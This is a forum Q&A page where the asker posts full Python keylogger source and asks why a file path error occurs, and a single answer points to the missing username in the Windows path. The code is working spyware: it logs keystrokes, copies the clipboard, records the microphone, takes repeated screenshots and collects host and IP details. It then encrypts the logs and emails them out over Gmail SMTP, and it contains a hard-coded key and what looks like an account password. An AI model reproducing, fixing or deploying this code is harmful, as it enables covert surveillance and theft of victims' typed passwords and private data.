FileNotFoundError: [Errno 2] No such file or directory: 'C:\Users\Documents\info_sys.txt'

Question:

I am trying to write a keylogger in python which is going to send keystrokes, clipboard information and computer information to an address mail, so my program will create 3 files and save the keystroke, clipboard information, computer information into those 3 files. Normally if the files are not present in the specified directory they should be created automatically but it not doing that
instead it’s giving me an error this is the code:

from asyncore import read
from calendar import c
from email.message import EmailMessage
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
from mimetypes import guess_type
import shutil
import smtplib

#Librairies pour recuperer les infos de la machine
import socket
import platform

#info sur le presse-papier
import win32clipboard

#recuperation des saisies
from pynput.keyboard import Key, Listener

#recuperation du temps et du systeme d'exploitation
import time
import os

#Librairie pour les fonctionalites du Microphone
from scipy.io.wavfile import write
import sounddevice as sd

#Librairies pour crypter nos fichiers
from cryptography.fernet import Fernet

import getpass
from requests import get


#Libraries pour recuperer les captures d'ecran
from multiprocessing import process, freeze_support
from PIL import ImageGrab

keys_information = "key_log.txt"
informations_du_systeme = "info_sys.txt"
Information_Du_Press_Papier = "Press_Papier.txt"
audio_information = "audio.wav"
screenshot_info = "Capture.png"

keys_information_e = "e_key_log.txt"
informations_du_systeme_e = "e_info_sys.txt"
Information_Du_Press_Papier_e = "e_Press_Papier.txt"

time_iteration = 120
number_of_iteration_end = 3

key = "uLAhf4dGutCbUeNibdEpj212JK7auv6WJGaXwvCY-Dc="

file_path = "C:\Users\Documents"
extends = "\"

file_merge = file_path + extends
microphone_time = 10
email_address = "[email protected]"
password= "ddksljxbthsddhym"

username = getpass.getuser() 
toaddr = "[email protected]"


def send_email(filename, attachment, toaddr):

    fromaddr = email_address

    msg = MIMEMultipart()
    
    msg['From'] = fromaddr

    msg['To'] = toaddr

    msg['Subject'] = 'Log file'

    body = "Body_the_mail"

    msg.attach(MIMEText(body,'plain'))

    filename = filename
    attachment = open(attachment, 'rb')
    
    p = MIMEBase('application', 'octet-stream')
    p.set_payload((attachment).read())

    encoders.encode_base64(p) 

    p.add_header('content-disposition',"attachment ; filename= %s" %filename)

    msg.attach(p)

    s = smtplib.SMTP("smtp.gmail.com", 587)

    s.starttls()
    
    s.login(fromaddr,password)

    text = msg.as_string()

    s.sendmail(fromaddr,toaddr,text)

    s.quit()   

def computer_information():
    with open(file_path + extends + informations_du_systeme, "w") as f:
        hostname = socket.gethostname()
        IpAddr = socket.gethostbyname(hostname)
        try:
            publicIp = get("https://api.ipify.org").text
            f.write("Public Ip address:" + publicIp + 'n')

        except Exception:
            f.write("couldn't get Public Ip Address(most likely address")

        f.write("Processeur: " + (platform.processor()) + 'n')
        f.write("System: " + platform.system() + " " + platform.version() + 'n')
        f.write("Machine: " + platform.machine() + "n")
        f.write("Hostname :" + hostname + "n")
        f.write("Private Ip Adress :" + IpAddr + "n")        
computer_information()

def copy_clipboard():
    with open(file_path + extends + Information_Du_Press_Papier, "a") as f:
        try:
            win32clipboard.OpenClipboard()
            données_copiées = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            f.write("Donnee du press papier: " + "n" + données_copiées) 
        except:
            f.write("Le Press Papier ne peut etre copier")    
copy_clipboard()         

def Microphone():
    fs =4400
    second = microphone_time
    my_recording = sd.rec(int(second * fs), samplerate=fs, channels = 2)
    sd.wait()

    write(file_path + extends + audio_information, fs, my_recording)
Microphone()

def screenshot():
    im = ImageGrab.grab()
    im.save(file_path + extends + screenshot_info) 
screenshot()

number_of_iteration = 0
current_Time = time.time()
stoppingtime = time.time() + time_iteration

while number_of_iteration < number_of_iteration_end :
    print("you can start writing now")
    count = 0
    keys = []

    def on_press(key):
        global keys, count, current_Time
        keys.append(key)
        count += 1

        print(key)
        if count >= 1:
            count = 0
            write_file(keys)
            keys = []
            current_Time = time.time()


    def write_file(keys):
        with open(file_path + extends + keys_information, "a") as f:
            for key in keys:
                k = str(key).replace("'","")
                if k.find("space") > 0:
                    f.write('n')
                    f.close()
                elif k.find("key") == -1:
                    f.write(k)
                    f.close()    

    def on_release(key):
        if key == Key.esc:
            return False
        if current_Time > stoppingtime:
            return False       
    

    with Listener(on_press=on_press, on_release=on_release) as listener:
            listener.join()
    
    #send_email(keys_information, file_path + extends + keys_information, toaddr) 
    
    count = 0
    count_end = 10
    while count < count_end:
        screenshot()   
        send_email(screenshot_info, file_path + extends + screenshot_info, toaddr)    
        count += 1
        print("ScreenShot N*"+str(count))
    
    if current_Time > stoppingtime :
       #with open(file_path + extends + keys_information, "w") as f:
           #f.write(" ")        

       screenshot()   
       send_email(screenshot_info, file_path + extends + screenshot_info, toaddr)

       copy_clipboard()

       number_of_iteration += 1
       print("ok")

       current_Time = time.time() 
       stoppingtime = time.time() + time_iteration
        
file_to_encrypt = [file_merge + informations_du_systeme, file_merge + Information_Du_Press_Papier, file_merge + keys_information]
encrypted_file_name = [file_merge + informations_du_systeme_e, file_merge + Information_Du_Press_Papier_e, file_merge + keys_information_e]

count = 0
for encrypting_file in file_to_encrypt:
    with open(file_to_encrypt[count], 'rb') as f:
        data = f.read()

    fernet = Fernet(key)
    encrypted = fernet.encrypt(data)

    with open(encrypted_file_name[count], 'wb') as f:
        f.write(encrypted)

    send_email(encrypted_file_name[count], encrypted_file_name[count], toaddr)    
    count += 1
    print("mail sent succesfully")
    
time.sleep(10)     

this is the error:

Traceback (most recent call last):
  File "d:keyylogger20.0kelogger3.0.py", line 125, in <module>
    computer_information()
  File "d:keyylogger20.0kelogger3.0.py", line 110, in computer_information
    with open(file_path + extends + informations_du_systeme, "w") as f:
FileNotFoundError: [Errno 2] No such file or directory: 'C:\Users\Documents\info_sys.txt'

Can someone help me please

Asked By: sherlock

||

Answers:

Almost certainly what is happening is that the requested folder does not exist. In Windows between Users and Documents there is usually a username. You should add it to your path.

Answered By: ticster
Categories: questions Tags:
Answers are sorted by their score. The answer accepted by the question owner as the best is marked with
at the top-right corner.